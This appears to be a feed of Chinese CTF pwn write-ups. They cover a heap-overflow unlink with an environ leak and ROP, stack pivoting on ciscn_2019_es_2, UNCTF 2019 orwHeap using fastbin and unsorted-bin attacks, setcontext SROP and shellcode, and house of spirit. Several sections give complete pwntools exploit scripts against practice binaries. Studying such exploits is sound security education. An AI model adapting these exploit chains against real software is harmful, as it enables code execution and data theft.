add:可以malloc大小为[0,0x1000]的堆块,conten并没有直接写进heap,而是放在大小为0x200的bss段中

free:正常free,有清零

show:正常

edit:可以发现edit的大小存放在bss段中

动态调试

可以发现,edit的大小与堆的大小没有关系,而是等于content的长度,因此可以堆溢出

泄露libc

有show,可以malloc smallbin,便可以泄露libc

1
2
3
4
5
6
sl("name?","kangel")
add(0x80,'0'*0x200)#0
add(0x10,'1'*0x200)#1
free(0)#-1
add(0x80,'0'*0x200)#1
show(0)

有smallbin和堆溢出,可以构造unlink

1
2
3
4
5
6
add(0x100,'2'*0x200)#2
add(0x100,'3'*0x200)#3
add(0x80,'4'*0x200)#4
to_fake=0x6032e0+0x10
edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110))
free(3) #-3 unlink

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> x/10gx 0x6032e0                                             
0x6032e0: 0x0000000000db8010 0x0000000000db80a0
0x6032f0: 0x0000000000db80c0 0x0000000000db81d0
0x603300: 0x0000000000db82e0 0x0000000000000000
0x603310: 0x0000000000000000 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000000
pwndbg> x/40gx 0x0000000000db80c0
0xdb80c0: 0x0000000000000000 0x0000000000000101
0xdb80d0: 0x00000000006032d8 0x00000000006032e0
0xdb80e0: 0x0000000000000000 0x0000000000000000
0xdb80f0: 0x0000000000000000 0x0000000000000000
0xdb8100: 0x0000000000000000 0x0000000000000000
0xdb8110: 0x0000000000000000 0x0000000000000000
0xdb8120: 0x0000000000000000 0x0000000000000000
0xdb8130: 0x0000000000000000 0x0000000000000000
0xdb8140: 0x0000000000000000 0x0000000000000000
0xdb8150: 0x0000000000000000 0x0000000000000000
0xdb8160: 0x0000000000000000 0x0000000000000000
0xdb8170: 0x0000000000000000 0x0000000000000000
0xdb8180: 0x0000000000000000 0x0000000000000000
0xdb8190: 0x0000000000000000 0x0000000000000000
0xdb81a0: 0x0000000000000000 0x0000000000000000
0xdb81b0: 0x0000000000000000 0x0000000000000000
0xdb81c0: 0x0000000000000100 0x0000000000000110
0xdb81d0: 0x0000000000000000 0x0000000000000000
0xdb81e0: 0x0000000000000000 0x0000000000000000
0xdb81f0: 0x0000000000000000 0x0000000000000000

条件:bck->FD + 0x18 = bck ; bck->BK + 0x10 = bck

效果:bck = *bck - 0x18

泄露栈地址

可以利用environ进行泄露

1
2
3
4
5
6
environ=libc_base+libc.symbols['environ']
edit(2,p64(0)+p64(environ))
show(0)
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success("stack:"+hex(stack))
rbp_addr=stack-0x228

计算environ与edit函数中rbp的差值,因为利用edit往栈中写入数据后直接进行rop

orw

直接往rbp中注入rop链即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf-8
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

debug = 1
if debug:
p = process("./pwn")
else:
print "remote"

def add(size,content):
sl(">> ",str(1))
sl("______?\n",str(size))
s("yes_or_no?\n",content)

def free(idx):
sl(">> ",str(2))
sl("index ?\n",str(idx))

def show(idx):
sl(">> ",str(3))
sl("index ?\n",str(idx))

def edit(idx,content):
sl(">> ",str(4)),0
sl("index ?\n",str(idx))
s("new_content ?\n",content)

def gd():
gdb.attach(p)

sl("name?","kangel")
add(0x80,'0'*0x200)#0
add(0x10,'1'*0x200)#1
free(0)#-1
add(0x80,'0'*0x200)#1
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.success("libc_base:"+hex(libc_base))
add(0x100,'2'*0x200)#2
add(0x100,'3'*0x200)#3
add(0x80,'4'*0x200)#4
to_fake=0x6032e0+0x10
edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110))
free(3) #-3 unlink
environ=libc_base+libc.symbols['environ']
edit(2,p64(0)+p64(environ))
show(0)
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success("stack:"+hex(stack))
rbp_addr=stack-0x228
edit(2,p64(0)+p64(rbp_addr))
prdi = 0x0000000000021102
prsi = 0x00000000000202e8
prdx = 0x0000000000001b92
prdi = libc_base + prdi
prsi = libc_base + prsi
prdx = libc_base + prdx
open = libc_base + libc.symbols['open']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
rop = './flag\x00\x00'
rop += p64(prdi)
rop += p64(rbp_addr)
rop += p64(prsi)
rop += p64(0)
rop += p64(open)
rop += p64(prdi)
rop += p64(0x3)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(read)
rop += p64(prdi)
rop += p64(1)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(write)
#print rop
#pause()
gd()
edit(0,rop)
p.interactive()
]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>经典的glibc2.23环境下的堆溢出,程序自带混淆,可以通过简单的黑盒测试确定程序的逻辑。禁掉了execev,可以在栈上构造orw,也可以
栈迁移的多种技巧 https://j-kangel.github.io/2020/04/09/栈迁移的多种技巧/ 2020-04-09T10:56:13.000Z 2020-06-05T12:03:53.942Z 前言

当栈空间不够利用或者无法利用时,我们又需要利用rop的时候,栈迁移可以帮助我们。

下面介绍几种常见的栈迁移方法,持续更新!

double ret

double ret就是通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave ; ret这样的gadget将esp劫持到fake_ebp的地址上

原理

假设可以覆盖ebp

1
2
3
4
5
esp |          |
| ... |
ebp | fake_ebp |
| ... |
|leave_ret |

第一次leave ; ret

1
2
mov esp; ebp
pop ebp #此时ebp的值为fake_ebp

第二次leave ; ret

1
mov esp; ebp        #esp的值为fake_ebp

例题

下面以ciscn_2019_es_2为例

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/pwn/buuoj/es_2_stack_pivot/ciscn_2019_es_2'         
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序漏洞很明显,32位程序下有8字节的栈溢出,可以覆盖到ebp和函数返回地址

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

利用方式:

1、第一次read和printf可以泄露栈地址

2、第二次read可以进行栈迁移将栈压低,刚好可以利用vul函数的main函数的double ret

vul函数

1
2
.text:080485FD                 leave
.text:080485FE retn

main函数,需要注意的是main函数的返回稍有不同

1
2
3
4
.text:0804862F                 mov     ecx, [ebp+var_4]
.text:08048632 leave
.text:08048633 lea esp, [ecx-4]
.text:08048636 retn

栈布局

1
2
3
4
pwndbg> x/12wx $ebp-0x28
0xff975d10: 0x61616161 0xff975d20 0x62626262 0x08048400
0xff975d20: 0x63636363 0xff975d28 0x6e69622f 0x0068732f
0xff975d30: 0x70707070 0x70707070 0xff975d18 0x0804862a

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.terminal = ['tmux','split','-h']
p = process('ciscn_2019_es_2')

sys_plt=0x8048400

pl='a'*0x20+'bbbbbbbb'
p.send(pl)
p.recvuntil('b'*8)
ebp1=u32(p.recv(4))
print(hex(ebp))
ebp2 = ebp1 - 0x10
pl2=('a'*4+p32(ebp-0x18)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x10)+'/bin/sh\x00').ljust(0x28,'d')+p32(ebp-0x20)
gdb.attach(p)
p.send(pl2)

p.interactive()

pop leave

可以直接利用

1
2
3
pop rbp;
leave
ret
]]>
life is beautiful!
UNCTF 2019 pwn orwHeap详解 https://j-kangel.github.io/2020/04/01/UNCTF-2019-pwn-orwHeap详解/ 2020-04-01T10:24:20.000Z 2020-04-01T04:05:12.649Z 前言

这道题是glibc2.23环境的堆题,包含多种知识与技巧。例如:沙箱函数、overlapping、利用_IO_2_1_stdout_泄漏libc、unsorted bin attack、fastbin attack、setcontext、mprotect、srop等等。

分析

检查保护机制,保护全开

1
2
3
4
5
6
7
➜  unctf_orwheap checksec pwn     
[*] '/mnt/hgfs/shared/unctf_orwheap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida静态分析

可以发现在add函数处存在off by one。但是限制了size大小(size > 0x67 && size <= 0x3F0),这样我们依然可以进行overlapping。

1
2
3
4
5
6
7
8
9
10
add(0x68,'0'*0x60)
add(0x78,'0'*0x70)
add(0x68,(p64(0)+p64(0x21))*6) #绕过inuse(p)的检测
add(0x68,(p64(0)+p64(0x21))*6)

delete(0)
add(0x68,'0'*0x68+'\xf1')
delete(1) #触发overlapping
delete(2)
add(0x78,'1'*0x70)

此时bin的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55e33cd130f0 —▸ 0x7f577e8c2b78 (main_arena+88) ◂— 0x55e33cd130f0
0x80: 0x0
unsortedbin
all: 0x55e33cd130f0 —▸ 0x7f577e8c2b78 (main_arena+88) ◂— 0x55e33cd130f0
smallbins
empty
largebins
empty

查看0x55e33cd130f0的chunk

1
2
3
4
5
6
7
8
9
pwndbg> heap 0x55e33cd130f0
0x55e33cd130f0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7f577e8c2b78 <main_arena+88>,
bk = 0x7f577e8c2b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

此时如果有show的功能的话,就可以直接add(0x68,’2’*0x60)从而泄露<main_arena+88>的地址再计算得到libc基址。但这里没有libc基址,于是只好利用_IO_2_1_stdout_泄漏libc。具体操作如下:

1、修改fd的低字节为’\xdd\x25’,让它指向_IO_2_1_stdout_。这里的2需要爆破,概率为1/16

2、利用fastbin attack可以修改_IO_2_1_stdout_的flag字段从而泄露libc

1
2
3
4
5
6
7
8
pwndbg> p stdout
$5 = (struct _IO_FILE *) 0x7f41f9aa4620 <_IO_2_1_stdout_>
pwndbg> x/10gx 0x7f41f9aa45dd
0x7f41f9aa45dd <_IO_2_1_stderr_+157>: 0x41f9aa3660000000 0x000000000000007f
0x7f41f9aa45ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7f41f9aa45fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7f41f9aa460d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x41f9aa26e0000000
0x7f41f9aa461d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x41f9aa46a3000000

利用脚本如下

1
2
3
4
5
6
7
8
9
10
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x82,'1'*0x70+'\n') #0x82是为了防止read函数末尾补'\x0a'
edit(1,'1'*0x70+p64(0)+p64(0x71)+'\xdd\x25')
add(0x68, (p64(0) + p64(0x21)) * 6)
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.success("libc_base:"+hex(libc_base))

有了libc基址,我们本可以再次利用fastbin attack修改掉malloc_hook为one_gadget直接get shell。但是,ida分析的时候发现存在沙箱函数prctl。可以使用secconp-tools查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  unctf_orwheap seccomp-tools dump ./pwn      
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

禁掉execve函数,因此无法直接get shell。这时可以通过orw得到flag。但是没有可用的栈空间,于是我们可以利用setcontext函数调用srop来进行栈迁移,最后call mprotect -> shellcode。

这时候可以利用堆空间来部署SigreturnFrame(),然后将利用fastbin attack将__free_hook的地址改成setcontext。在改写__free_hook之前我们需要利用unsorted bin attack来伪造chunk size。(不得不说,unsorted bin attack确实是打辅助的好手)

1
2
3
4
5
6
7
8
#unsorted bin attack
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x98,'1'*0x70+p64(0)+p64(0x91))
delete(2)
edit(1,'1'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,'2'*0x60)

攻击效果bck->fd = unsorted_chunks(av)

1
2
3
4
5
6
pwndbg> x/10gx 0x7f9fe23c37a8-0x20                                                   
0x7f9fe23c3788 <_IO_stdfile_1_lock+8>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c3798 <_IO_stdfile_0_lock+8>: 0x00007f9fe23c1b78 0x0000000000000000
0x7f9fe23c37a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c37b8 <next_to_use.11232>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c37c8 <disallow_malloc_check>: 0x0000000000000000 0x0000000000000000

利用fastbin attack将__free_hook的地址改成setcontext,并布置好SigreturnFrame()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#fastbin attack
edit(1,'1'*0x70+p64(0)+p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(free_hook - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (free_hook) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (free_hook) & 0xfffffffffffff000 #栈迁移
frame.rip = libc_base + 0xbc375 #: syscall; ret; 此rax=0,调用read
payload = str(frame)
print len(frame)
add(0x68, payload[0x80:0x80 + 0x60])
add(0x68, 'fff' + p64(libc_base + libc.symbols['setcontext'] + 53))

edit(1, payload[:0x98])
delete(1) #触发SROP

这里要说一下setcontext函数;

1
int setcontext(const ucontext_t *ucp);

这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> x/80i 0x7ffff7a7bb50
0x7ffff7a7bb50 <setcontext>: push rdi
0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7bb58 <setcontext+8>: xor edx,edx
0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2
0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8
0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe
0x7ffff7a7bb6a <setcontext+26>: syscall
0x7ffff7a7bb6c <setcontext+28>: pop rdi
0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128>
0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx]
0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax,eax
0x7ffff7a7bbcf <setcontext+127>: ret
0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78
0x7ffff7a7bbd7 <setcontext+135>: neg eax
0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7bbe0 <setcontext+144>: ret

这里需要说明的是:

  1. 一般是从setcontext+53开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]这个指令。
  2. 64位中第一个参数刚好在rdi中,因此这里的rdi即frame的地址。
  3. mov rcx,QWORD PTR [rdi+0xa8]; push rcxmov rip,QWORD PTR [rdi+0xa8]利用push是保证指向的内存可访问,否则就会crash。

这是我们已经把栈迁移到(free_hook) & 0xfffffffffffff000 ,并可以在改地址处写入0x2000字节的数据,下面构造好ROP链即可

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux')
context.terminal = ['tmux','split','-h']

debug = 1
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')

else:
print "remote"

def add(size,content):
p.sendlineafter('Choice: ','1')
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',content)

def delete(idx):
p.sendlineafter('Choice: ','2')
p.sendlineafter('idx: ',str(idx))

def edit(idx,content):
p.sendlineafter('Choice: ','3')
p.sendlineafter('idx: ',str(idx))
p.sendlineafter('content: ',content)

while True:
try:
add(0x68,'0'*0x60)
add(0x78,'1'*0x70)
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')

delete(0)
add(0x68,'0'*0x68+'\xf1')
delete(1)
delete(2)
add(0x78,'0'*0x70)

delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x82,'1'*0x70)
edit(1,'1'*0x70+p64(0)+p64(0x71)+'\xdd\x25')
# gdb.attach(p)
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.success("libc_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.success("free_hook:"+hex(free_hook))

except:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
else:
break

#unsorted bin attack
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x98,'1'*0x70+p64(0)+p64(0x91))
delete(2)
edit(1,'1'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,'2'*0x60)
gdb.attach(p)
#fastbin attack
edit(1,'1'*0x70+p64(0)+p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(free_hook - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (free_hook) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (free_hook) & 0xfffffffffffff000
frame.rip = libc_base + 0xbc375 #: syscall; ret;
payload = str(frame)
print len(frame)
add(0x68, payload[0x80:0x80 + 0x60])
add(0x68, 'fff' + p64(libc_base + libc.symbols['setcontext'] + 53))

edit(1, payload[:0x98])
delete(1)

pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x1b92
pop_rax_ret = libc_base + 0x33544
jmp_rsp = libc_base + 0x2a71
payload = p64(pop_rdi_ret) + p64((free_hook) & 0xfffffffffffff000)
payload += p64(pop_rsi_ret) + p64(0x2000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(pop_rax_ret) + p64(10) #mprotect调用号
payload += p64(libc_base + 0xbc375)
payload += p64(jmp_rsp)
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
# gdb.attach(p)
p.send(payload + shellcode)

p.interactive()
]]>
“巨鲸落,万物生,一念百草生,一念山河成”
堆学习之house of spirit https://j-kangel.github.io/2020/03/26/堆学习之house-of-spirit/ 2020-03-26T11:05:40.000Z 2020-03-26T05:18:52.983Z 前言

一直对house of系列的利用模棱两可,现在刚好可以利用疫情在家的时间好好梳理一下。

house of spirit(以下简称hos)是 the Malloc Maleficarum 中的一种技术。该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

how2heap源码分析

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

动态调试

调用一次malloc设置内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Breakpoint hos.c:11
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x603020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

假设存在某个可控的区域,例如栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Breakpoint hos.c:18
pwndbg> p a
$1 = (unsigned long long *) 0x7fffffffde28
pwndbg> p *a
$2 = 140737488347640
pwndbg> p fake_chunks
$3 = {1, 140737488346448, 140737354129768, 15775231, 1, 4196589, 140737488346414, 0, 4196512, 4195760}
pwndbg> p &fake_chunks
$4 = (unsigned long long (*)[10]) 0x7fffffffdcd0
pwndbg> x/10gx &fake_chunks
0x7fffffffdcd0: 0x0000000000000001 0x00007fffffffdd50
0x7fffffffdce0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdcf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffdd00: 0x00007fffffffdd2e 0x0000000000000000
0x7fffffffdd10: 0x00000000004008a0 0x00000000004005b0

设置fake_chunk的size和next chunk size来绕过检测

1
2
3
4
5
6
7
8
9
Breakpoint hos.c:26
pwndbg> p fake_chunks
$5 = {1, 64, 140737354129768, 15775231, 1, 4196589, 140737488346414, 0, 4196512, 4660}
pwndbg> x/10gx &fake_chunks
0x7fffffffdcd0: 0x0000000000000001 0x0000000000000040 <-fake_chunk size
0x7fffffffdce0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdcf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffdd00: 0x00007fffffffdd2e 0x0000000000000000
0x7fffffffdd10: 0x00000000004008a0 0x0000000000001234 <-next chunk size

假设存在某个漏洞是我们可以free掉fake_chunk

1
2
3
Breakpoint hos.c:30
pwndbg> p a
$6 = (unsigned long long *) 0x7fffffffdce0

free(a)

1
2
3
4
5
6
7
8
9
10
Breakpoint hos.c:33
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdcd0 ◂— 0x0 <- fake_chunk
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

malloc(0x30)或malloc(0x38)

1
2
3
Breakpoint hos.c:34
pwndbg> n
malloc(0x30): 0x7fffffffdce0

成功分配堆块到fake_chunk!

攻击条件

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求(<= 128 on x64),同时也得对齐
  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

攻击原理

1
2
3
4
5
6
7
-----------------------
|可控区域(设置fakesize)|
-----------------------
|不可控区域 |
-----------------------
|可控区域(设置nextsize)|
-----------------------

例题:lctf-2016-pwn200

动态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx $rsp+8
0x7fffffffdbe0: 0x000000000000000e 0x0000000000000000
0x7fffffffdbf0: 0x00007fffffffdc10 0x00000000004009e0
0x7fffffffdc00: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffdc10: 0x00007fffffffdc60 0x0000000000400a8c
0x7fffffffdc20: 0x00007fff0a626262(moeny) 0x0000000000000000
0x7fffffffdc30: 0x0000000000000000 0x00007ffff7a43e90
0x7fffffffdc40: 0x0000000000000009 0x00000000004008b5
0x7fffffffdc50:(fake_chunk)0x0000000000003233 0x0000000000603010(堆地址,可修改)
0x7fffffffdc60: 0x00007fffffffdcc0 0x0000000000400b34(函数返回地址)
0x7fffffffdc70: 0x00007ffff7dd18e0 0x00007ffff7fd8700
0x7fffffffdc80: 0x0000000000000003 0x0000000000000020(id)
0x7fffffffdc90: 0x00007fff00616161(name) 0x00007ffff7a7cfb4
0x7fffffffdca0: 0x0000000000000000 0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdcc0 0x00000000004007dd
0x7fffffffdcc0: 0x00007fffffffdce0(rbp) 0x0000000000400b59
0x7fffffffdcd0: 0x00007fffffffddc8 0x0000000100000000
